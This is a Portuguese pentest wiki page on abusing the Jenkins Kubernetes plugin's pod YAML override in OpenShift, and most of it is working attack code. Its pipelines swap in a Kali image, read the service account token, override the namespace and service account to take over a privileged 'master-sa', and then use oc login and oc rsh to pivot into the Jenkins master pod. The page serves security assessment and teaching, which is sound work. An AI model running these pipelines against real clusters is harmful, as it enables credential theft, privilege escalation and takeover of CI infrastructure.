OpenShift - Jenkins Build Pod Override

O autor original desta página é Fares

Plugin Kubernetes para Jenkins

Este plugin é principalmente responsável pelas funções principais do Jenkins dentro de um cluster openshift/kubernetes. Documentação oficial aqui Ele oferece algumas funcionalidades, como a capacidade para os desenvolvedores substituírem algumas configurações padrão de um pod de construção do Jenkins.

Funcionalidade principal

Este plugin permite flexibilidade aos desenvolvedores ao construir seu código em um ambiente adequado.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Alguns abusos aproveitando a substituição de yaml do pod

No entanto, pode ser abusado para usar qualquer imagem acessível, como o Kali Linux, e executar comandos arbitrários usando ferramentas pré-instaladas dessa imagem. No exemplo abaixo, podemos exfiltrar o token da conta de serviço do pod em execução.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Uma sintaxe diferente para alcançar o mesmo objetivo.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Amostra para substituir o namespace do pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Outro exemplo que tenta montar um serviceaccount (que pode ter mais permissões do que o padrão, executando sua compilação) com base em seu nome. Você pode precisar adivinhar ou enumerar primeiro os serviceaccounts existentes.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

A mesma técnica se aplica ao tentar montar um Segredo. O objetivo final aqui seria descobrir como configurar a compilação do seu pod para efetivamente fazer pivot ou obter privilégios.

Indo mais fundo

Depois de se acostumar a brincar com isso, use seu conhecimento sobre Jenkins e Kubernetes/Openshift para encontrar configurações incorretas / abusos.

Pergunte a si mesmo as seguintes perguntas:

  • Qual conta de serviço está sendo usada para implantar pods de compilação?

  • Quais funções e permissões ela tem? Ela pode ler segredos do namespace em que estou atualmente?

  • Posso enumerar ainda mais outros pods de compilação?

  • A partir de uma sa comprometida, posso executar comandos no nó/pod mestre?

  • Posso enumerar ainda mais o cluster para fazer pivot em outro lugar?

  • Qual SCC está aplicado?

Você pode descobrir quais comandos oc/kubectl emitir aqui e aqui.

Possíveis cenários de elevação de privilégios/pivoting

Vamos supor que durante sua avaliação você descobriu que todas as compilações do Jenkins são executadas dentro de um namespace chamado worker-ns. Você descobriu que uma conta de serviço padrão chamada default-sa está montada nos pods de compilação, no entanto, ela não tem muitas permissões, exceto acesso de leitura em alguns recursos, mas você conseguiu identificar uma conta de serviço existente chamada master-sa. Vamos também supor que você tenha o comando oc instalado dentro do contêiner de compilação em execução.

Com o script de compilação abaixo, você pode assumir o controle da conta de serviço master-sa e enumerar mais.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Dependendo do seu acesso, você precisa continuar seu ataque a partir do script de compilação ou pode fazer login diretamente como este sa no cluster em execução:

oc login --token=$token --server=https://apiserver.com:port

Se este SA tiver permissão suficiente (como pod/exec), você também pode assumir o controle de toda a instância do jenkins executando comandos dentro do pod do nó mestre, se estiver sendo executado no mesmo namespace. Você pode identificar facilmente este pod pelo nome e pelo fato de que deve estar montando um PVC (persistant volume claim) usado para armazenar os dados do jenkins.

oc rsh pod_name -c container_name

No caso de o pod do nó mestre não estar em execução no mesmo namespace que os workers, você pode tentar ataques semelhantes direcionando o namespace mestre. Vamos supor que ele seja chamado de jenkins-master. Tenha em mente que a serviceAccount master-sa precisa existir no namespace jenkins-master (e pode não existir no namespace worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated